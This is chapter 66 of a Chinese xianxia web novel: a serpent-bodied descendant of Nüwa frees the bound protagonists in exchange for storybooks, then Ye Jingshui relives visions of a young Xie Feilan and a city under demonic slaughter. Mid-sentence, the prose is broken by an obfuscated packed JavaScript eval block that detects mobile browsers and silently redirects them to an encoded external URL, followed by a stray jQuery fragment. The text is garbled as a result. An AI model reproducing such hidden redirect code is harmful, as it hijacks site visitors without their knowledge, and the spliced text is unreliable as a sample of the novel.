66. 第 66 章

作品:《偏执掌门非要当我徒弟

    女娲补天用的五色石是块非常神奇的石头。传说不仅有补天之能,还可穿梭不同时空。亦有传言说五色石可改变过去未来,扭曲世间规则。


    但毕竟是传说,从来没有人见过真正的五色石。


    叶惊水也一直认为五色石只存在于传说之中。却不想,如今竟在这样一个洞天福地里见识到。


    虽不知道少女的话有几分真假,但她可以让时间重来这件事却千真万确。


    谢斐岚道:“事情我们已然了解,还请前辈莫再哭泣。”


    少女闻言,又啜泣了好一会儿才哭够了似的止住哭声:“尔等真的相信我了?”


    “……虽未完全相信,但前辈所言亦不无道理。我们不会再随意质疑前辈。”


    谢斐岚的声音本就温润如玉,说的话也令人听得十分舒服。少女终于展露笑颜:“你是个不错的人,我喜欢你。”


    谢斐岚拱手微笑道:“前辈赞誉。”


    叶惊水却完全不看气氛,单刀直入道:“无论如何,还请你先解除这位朋友的控制及我们身上的禁锢。”


    少女似乎在思考,木榻内的影子晃了晃又摇了摇。接着她脆生生地开口说道:“既然尔等通过考验来到我面前,我自然可以解除禁锢。不过我有条件。”


    谢斐岚:“不知前辈有何条件?”


    少女用那只细弱粉白的小手指向叶惊水:“你说我的故事迂腐死板,想来你有不迂腐死板的话本?”


    叶惊水听到少女的问题,顿时明白了她的意思。


    如果不是在这种地方,叶惊水还会庆幸自己遇到了一个同样看爱话本的朋友。


    只可惜少女是洞天主人,无法离开洞天。否则还能跟她当个可以随时见面分享话本的知音。


    不过这些已经不重要了:“只要你解开禁锢,我可以将储物袋里的话本都赠与你。”


    少女闻言似乎很高兴,粉白娇小的手开始在虚空中游走。她游走的每一笔每一划都会泛出金色光芒。


    待光芒消失后,一颗枣核大小的石头显现在她的掌心。


    仔细瞧去,石头华彩流转,不断闪烁出五色的耀目光辉。石头表面棱角细碎,并不规整,像是一个整体被剥落下来的碎片。


    就算没有灵力,几人也能感觉到这块石头碎片有着十分强大又玄妙无常的力量。


    莫非这就是五色石的碎片不成?


    少女将手攥紧收回幔帐之内。跟着晃了下脑袋,似乎往掌心里的五色石碎片吹了口气。


    夺目的彩色辉光瞬间将整座木榻吞没,刺眼得根本无法直视。叶惊水等人连忙用衣袖挡住了自己的眼睛。


    辉光转瞬即逝,等他们再次睁开眼睛,一切又恢复了原状。


    少女缓缓道:“好了。”


    俞梦音的声音率先响起:“哎呀,终于可以说话和自由行动了。你这到底算什么女娲后人,随意操纵他人很有意思么?惊水,陈燱还有谢……阿斐,真的很抱歉。伤害你们的事,完全不是出于我本意。”


    谢斐岚温和地安慰道:“我们知晓,不必自责。”


    叶惊水听到俞梦音的话后,立即就地盘膝打坐,尝试运转周天,凝聚灵力。


    灵力自丹田沿十二正经循环,全身皆顺畅无比,再无任何阻滞或禁锢的感觉。身体五感也不再沉重迟钝,神识开始能感知到周围的一切事物。


    她掐诀结印亦不再受任何影响,于是连忙召唤踏月剑。可踏月剑仍无法回应她的呼唤,似乎仍是被封印的状态。


    “为何不能召唤我的剑?”


    少女颇为不满地回道:“这里是属于我的神识地域,自然不会让尔等带法器进来。我们说好的话本在哪里?”


    叶惊水反问道:“如果我把话本给你,你会放我们离开么?”


    “我说过,只要尔等通过考验自会脱离洞天回去。”


    “如何才算通过考验?”


    “洞天会给出答案。”


    俞梦音却道:“你这说了与没说有何区别?还有,快把师兄还给我!”


    陈燱瞧瞧她又瞧瞧叶惊水和谢斐岚,一直没有说话。一来觉得自己人轻言微,派不上用场;二来也实在插不上什么话。


    少女带着哭腔地质问叶惊水:“尔等难道要出尔反尔?”


    听这声音似乎又想哭将起来,谢斐岚连忙安抚:“前辈莫急。阿水,还请割爱。”


    可不弄清楚这里的情况,万一少女拿到话本后故伎重演又该如何是好?


    似乎看出叶惊水在担忧什么,谢斐岚轻声道:“她若想那样做,即便我们不给也是同样后果。”


    叶惊水迟疑片刻,还是认命地变出储物袋,在里面翻找起来。


    她储物袋里有不少好东西,也有很多谈不上有用的东西。简而言之,就是东西不好找。


    搜寻一番无果后她直接倒转储物袋,使劲晃了晃。跟着无数话本倒箧倾筐地从储物袋里掉出来,眨眼间就堆出了一座书山文海。


    不仅陈燱和俞梦音看呆了,就连谢斐岚也不由得瞪大了眼睛。


    把话本这种无关紧要的东西放在储物袋里已是浪费,叶惊水居然还放了那么多?


    哪怕储物袋内的空间再大也不该如此滥用。她到底是多爱看话本,这些话本又被她珍藏了多少年?


    倒完之后,叶惊水也不敢相信眼前的书山文海竟然都是自己收藏的话本。


    转念一想,她活了几百年,有这么多话本也不稀奇。


    少女看到眼前如山一般高的话本,兴奋地开口:“这些都是?”


    叶惊水收好储物袋,说:“没错,都给你。”


    反正这些话本她已然看过,将它们送给少女就权当交个不一样的书友罢。


    少女粉白的小手一勾一划,整座书山竟然凭空消失了。几人还没回神,少女带着些惊喜的声音再次响起:“尔等既如此慷慨,我也再赠尔等一些机缘罢。”


    “什么机……”俞梦音的话还没说完,耳朵再次听到叭嗒叭嗒的声音。


    不知哪来一阵强风将木榻周围的珠帘幔帐吹开,露出木榻内的一角。


    里面坐着一个长相稚嫩秀丽,外表年纪约有九,十岁的女童。她上身穿着彩色绫罗,瀑布般的黑色长发散落铺满整张木榻。她的肤色泛着莹白,发间和脖子,手上都戴满了宝石翠玉的珠钗佩饰。下身是泛着黝黑光泽的巨大蛇身,正一圈圈盘绕在华锦织毯之上。


    盘绕的蛇身露出一条蛇尾轻敲着她手中的五色石碎片,发出叭嗒叭嗒的声音。


    原来这就是……过去重来时听到的那个声音。


    难道她真想故伎重演?


    可几人来不及发问,眼前突然一黑,时空再次变换。


    ******


    叶惊水睁开眼睛,发现自己并没有待在那间喜庆的婚房里,而是待在一座木屋的院子之中。


    四周静寂无声,谢斐岚他们也不知所踪,只有她一个人出现在这里。


    木屋简陋,院子还有些破败。可却给叶惊水一种很熟悉的感觉。


    这种熟悉的感觉让她有些恍惚,心中不禁荡起一丝期待和忐忑。


    她顾不上找谢斐岚他们,直接沿着院门往内里走。忽然瞥见一个十二,三岁的孩童坐在一棵粗壮的槐树下仰头望天,不知道在看什么。


    孩童的身材颇为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382125|198004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瘦弱,穿着的衣服虽简朴但整洁干净。


    叶惊水的脚登时像被钉住,再也走不动半步。


    孩童瘦小孱弱,脸上还有一些营养不良的腊黄色。模样却是生得讨巧,碧绿的眼瞳还有鼻尖上的小痣让他显得颇叫人喜爱。


    尽管衣着朴素,孩童身上却有种若有若无的华贵气质,让他看起来不似普通人家。


    叶惊水认识他。


    她原地站了许久许久,才颤颤巍巍地走向孩童。


    孩童并没有发现她。仍旧望着远空,不知道在看什么,想什么。


    她轻声慢步走到孩童身旁,犹豫再三才小声唤他:“阿斐?”


    孩童似有所感,朝她站的位置望了过来。


    四目相对,叶惊水的心猛地一跳。


    这孩子怎么一脸寂寞孤独的模样?


    她下意识伸手去摸他的头安慰。然而手却在触碰到他发顶时径直穿了过去,完全触碰不了。


    叶惊水当下一惊,连忙缩回手。


    谢斐岚并没有感应到什么,又侧头继续望着天空发呆。


    叶惊水已然明白谢斐岚根本看不到她,也不知道她如今就站在他身旁。


    这个稚嫩瘦小的谢斐岚她有多久没见过了?


    若她没记错,应该也有四百多年之久。


    四百多年么?


    叶惊水顿时百感交集。


    她亲切地坐到谢斐岚身旁,有些迟疑内疚地开口:“阿斐,许久不见。我……回来了。”


    谢斐岚像是听到她的话,小声地呢喃道:“师尊已经离开很多天,她怎么还不回来?”


    叶惊水满眼心疼不忍地看着这个十几岁的谢斐岚,想要安抚他却又无从说起。


    谢斐岚依旧在自言自语:“师尊会不会不回来了……”想到这里,他害怕地抱住了自己,眼眶也变得红红的。难过了一会儿,他又连忙否认道:“不会,师尊说过她会回来。”


    “阿斐……”叶惊水的声音也有些说不出来的哽咽:“都说了……我不是师尊……你……总不听……”


    他满脸委屈可怜,难过地喃喃自语:“师尊,我好想你。……你能不能快些回来?”


    叶惊水愣住了。


    谢斐岚在她面前一向是个自强独立,又有些傲气的小大人,很少会表露出自己真正的心情。


    原来她不在时,他是这样的。


    她的指尖无意识攥紧了,许多话梗在喉咙里咽不下去,吐不出来。


    谢斐岚又很快振作起来。


    他的眼神变得殷切期盼,对着天空虔诚祈祷:“师尊,你一定要平安无事。”


    心中根结盘踞的愧疚在这一瞬间如猛火燎原,喷涌而出。叶惊水忍不住想要抱抱眼前这个她所不知道的谢斐岚。


    可刚伸出手,眼前又再次一黑。


    耳边响起鞭梢破空,啜泣呢喃,野狗吠嚎的嘈杂声音。焦土的腥气,汗酸夹着的血腥,还有无数腐尸的味道充斥鼻腔,让人忍不住想吐。


    睁开眼便是一幅地狱般的景象。


    遍地残垣断壁的城镇内,无数百姓横死街头。尸体被野狗分食,仅余白骨碎布。剩下的人群如蝼蚁迁徙,争先恐后往城门外逃窜。


    他们的身后是满天散发黑炁的邪魔,还有被邪魔入体,身穿铁甲的官兵。


    他们以杀戮为乐。


    有火就放,见人就杀,血染满长街,烽烟四起,整座城池沦为人间阿鼻。


    叶惊水见过无数次这样的景象,她救不了这里的人。


    然而远处火光烛天的木屋却一下刺痛了叶惊水的眼。


    她再也顾不上其它,朝木屋飞奔而去。